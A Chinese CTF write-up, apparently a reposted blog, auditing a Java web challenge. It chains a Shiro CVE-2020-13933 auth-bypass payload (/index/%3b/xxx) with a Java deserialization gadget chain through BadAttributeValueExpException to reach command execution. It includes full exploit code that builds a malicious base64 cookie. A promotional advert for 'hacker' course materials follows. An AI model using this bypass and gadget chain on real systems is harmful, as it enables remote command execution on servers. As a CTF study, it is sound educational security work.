【网络安全渗透测试零基础入门必知必会】之CTF题目解析Java代码审计中的反序列化漏洞,以及其他漏洞的组合利用5

前言

这是大白给粉丝盆友们整理的网络安全渗透测试入门阶段反序列化渗透与防御第5篇。

本文主要讲解java反序列化漏洞比赛题目解析

喜欢的朋友们,记得给大白点赞支持和收藏一下,关注我,学习黑客技术。

本文基于一次内部小范围比赛题目的复现,简单聊聊Java代码审计中的反序列化漏洞。

0x00 前言

近年来,工作中Java Web的项目越来越常见,并且逐渐取代了前几年php的辉煌地位。

在众多Java Web漏洞中,反序列化漏洞独树一帜,大量框架或者中间件都存在反序列化漏洞,它们被大佬们钟爱,并且翻过来覆过去的反复蹂躏,,例如:ShiroFastjsonJBossWebLogicStructs2等等。

本文基于一次内部小范围比赛题目的复现,简单聊聊Java代码审计中的反序列化漏洞,以及其他漏洞的组合利用。由于学习门槛降低,各大学习论坛或网站上存在大量优秀的Java反序列化的入门文章,里面对Java的基本概念以及反序列化的基础有着详细的描述和讲解。本文不再赘述Java反序列化中的简单概念,仅从题目本身入手。

0x01 正文

题目本身是Web题目,并且提供了源码。

打开页面,登录窗口。

页面仅有一个登录窗口,尝试一波弱口令,无结果。

然后去看代码,jar包导入JD-GUI,随便点点。

大致文件结构如下:

其中ShiroConfig.class内容如下:

简单审计发现,index内容需要认证,也就是需要登录。

查看index对应的IndexController.class,发现存在反序列化点。

具体代码如下:

if (cookies != null) {  
      for (Cookie c : cookies) {  
        if (c.getName().equals("userinfo")) {  
          exist = true;  
          cookie = c;  
          break;  
        }   
      }   
    }  
    if (exist) {  
      byte[] bytes = Tools.base64Decode(cookie.getValue());  
      user = (User)Tools.deserialize(bytes);  
    } else {  
      user = new User();  
      user.setId(1);  
      user.setName(name);  
      cookie = new Cookie("userinfo", Tools.base64Encode(Tools.serialize(user)));  
      response.addCookie(cookie);  
    }  

当访问index时,并且存在cookiekeyuserinfo时,会对其value进行deserialize

过程如下:

cookie[userinfo] --> base64decode --> deserialize

暂时思路是,登录之后,通过cookie进行反序列化。

但是由MyRealm.class可知,密码是随机的。

具体代码如下:

return new SimpleAuthenticationInfo(username, UUID.randomUUID().toString().replaceAll("-", ""), getName());  

再由lib中的BOOT-INF.lib.shiro-spring-1.5.3.jar可知,shiro版本为 1.5.3 ,存在CVE-2020-13933权限绕过漏洞。

根据 https://xz.aliyun.com/t/8230 可知,常用payload/index/%3bxxx

但存在过滤器AllFilter.class

public class AllFilter implements IAllFilter {  
  public String filter(String param) {  
    String[] keyWord = { "'", "\"", "select", "union", "/;", "/%3b" };  
    for (String i : keyWord) {  
      param = param.replaceAll(i, "");  
    }  
    return param;  
  }  
}  

AllFilter会对payload的字符进行过滤,经过尝试,最终有效payload/index/%3b/xxx

绕过权限之后,发现后台为日志记录。

涉及到LogHandler.class,在之后的后续反序列化会用到。

绕过权限之后,想办法反序列化。

要序列化的条件是,必须继承Java.io.Serializable接口。

在代码中寻找可被利用的class

发现LogHandler.class

其中存在命令执行点

public class LogHandler extends HashSet implements InvocationHandler {  
  private static final long serialVersionUID = 1L;  
  private String readLog = "tail /tmp/accessLog"; private Object target;  
  private String writeLog = "echo /test >> /tmp/accessLog";  
    
  public LogHandler() {}  
  public LogHandler(Object target) { this.target = target; }  
    
  public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {  
    Tools.exeCmd(this.writeLog.replaceAll("/test", (String)args[0]));  
    return method.invoke(this.target, args);  
  }  
  public String toString() { return Tools.exeCmd(this.readLog); }  
}  

LogHandler继承了HashSet

HashSet继承了Java.io.Serializable接口。

HashSet部分代码如下:

package Java.util;  
  
import Java.io.InvalidObjectException;  
import sun.misc.SharedSecrets;  
  
public class HashSet<E>  
    extends AbstractSet<E>  
    implements Set<E>, Cloneable, Java.io.Serializable{  
    static final long serialVersionUID = -5024744406713321676L;  
    ......  

之后的pop链为:

deserialize --> LogHandler --> toString --> exeCmd (readLog)

条件:readLog可控 。

readLog为私有属性,可通过Java的反射机制访问属性值。

方法说明
getDeclaredField(String name)获得某个属性对

例如:

import Java.lang.reflect.*;  
public class AccessAttribute {  
    public static void main(String[] args) throws Exception {  
          
        Field aaa= UserClass.getDeclaredField("name");  
        aaa.setAccessible(true);//私有属性,设置可访问  
        aaa.set(user, "liuxigua");  
    }  
}  

最终目的:寻找某个Java原生类,要求:重写readObject方法并且可调用可控类的toString方法。

最后百度查到BadAttributeValueExpException,并且很多Java反序列化的Gadgets均用到了此类

BadAttributeValueExpException部分代码如下:

public class BadAttributeValueExpException extends Exception   {  
  
    private static final long serialVersionUID = -3105272988410493376L;  
  
    private Object val;  
  
    public BadAttributeValueExpException (Object val) {  
        this.val = val == null ? null : val.toString();  
    }  
  
    public String toString()  {  
        return "BadAttributeValueException: " + val;  
    }  
  
    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {  
        ObjectInputStream.GetField gf = ois.readFields();  
        Object valObj = gf.get("val", null);  
  
        if (valObj == null) {  
            val = null;  
        } else if (valObj instanceof String) {  
            val= valObj;  
        } else if (System.getSecurityManager() == null  
                || valObj instanceof Long  
                || valObj instanceof Integer  
                || valObj instanceof Float  
                || valObj instanceof Double  
                || valObj instanceof Byte  
                || valObj instanceof Short  
                || valObj instanceof Boolean) {  
            val = valObj.toString();  
        } else {   
            val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();  
        }  
    }  
 }  

可通过将val设置为logHandler类,最终在readObject时调用其toString方法。

BadAttributeValueExpException (val)  -->  LogHandler(readLog).toString()  -->  serialize   -->  base64encode   
  
cookie[userinfo]  -->  base64decode  --> deserialize -->  LogHandler  -->  toString  -->  exeCmd (readLog)  

最终Gadgets

Javax.management.BadAttributeValueExpException.readObject()  
-->tools.logHandler.toString()-->  tools.Tools.exeCmd()  

注意:payload的代码结构与文件位置需要与服务端代码结构与文件位置保持一致

package com.test.JavaWeb;  
import Javax.management.BadAttributeValueExpException;  
import com.test.JavaWeb.tools.Tools;  
import com.test.JavaWeb.tools.LogHandler;  
import Java.lang.reflect.Field;  
  
public class Exp {  
    public static void main(String[] args) throws Exception{  
        LogHandler logHandler = new LogHandler();  
        Field readLogField = LogHandler.class.getDeclaredField("readLog");  
        readLogField.setAccessible(true);  
        readLogField.set(logHandler,"touch /tmp/123");  
  
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("");  
        Field valField = BadAttributeValueExpException.class.getDeclaredField("val");  
        valField.setAccessible(true);  
        valField.set(badAttributeValueExpException,logHandler);  
        byte[] bytes = Tools.serialize(badAttributeValueExpException);  
        System.out.println(Tools.base64Encode(bytes));  
    }  
}  

生成payload之后,在cookieuserinfo值填入,可执行命令。

0x02 总结

众所周知,Java代码开发与Java代码审计,并不是充分必要条件。

你问我懂不懂Java,那我当然是不懂的。

你问我能不能搞Java代码审计,其实也不是不能搞。

作者:Obsidian

网络安全学习包

资料目录

  1. 成长路线图&学习规划

  2. 配套视频教程

  3. SRC&黑客文籍

  4. 护网行动资料

  5. 黑客必读书单

  6. 面试题合集

282G网络安全/黑客技术入门学习大礼包》,可以扫描下方二维码免费领取

1.成长路线图&学习规划

要学习一门新的技术,作为新手一定要先学习成长路线图方向不对,努力白费

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

2.视频教程

很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩

3.SRC&黑客文籍

大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录

SRC技术文籍:

黑客资料由于是敏感资源,这里不能直接展示哦!

4.护网行动资料

其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!

5.黑客必读书单

**

**

6.面试题合集

当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。

更多内容为防止和谐,可以扫描获取~

朋友们需要全套共282G的《网络安全/黑客技术入门学习大礼包》,可以扫描下方二维码免费领取

END

本文转自 https://mp.weixin.qq.com/s?__biz=Mzg2OTM0MTYwNw==&mid=2247499456&idx=1&sn=f95f0288f8af42e95637a2336a8486e9&chksm=ce9c3e08f9ebb71ebb6d93fd18a725e2eabfafdf215057f567e677b1ef0f6b4cf01e651137e4&token=842539593&lang=zh_CN#rd,如有侵权,请联系删除。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值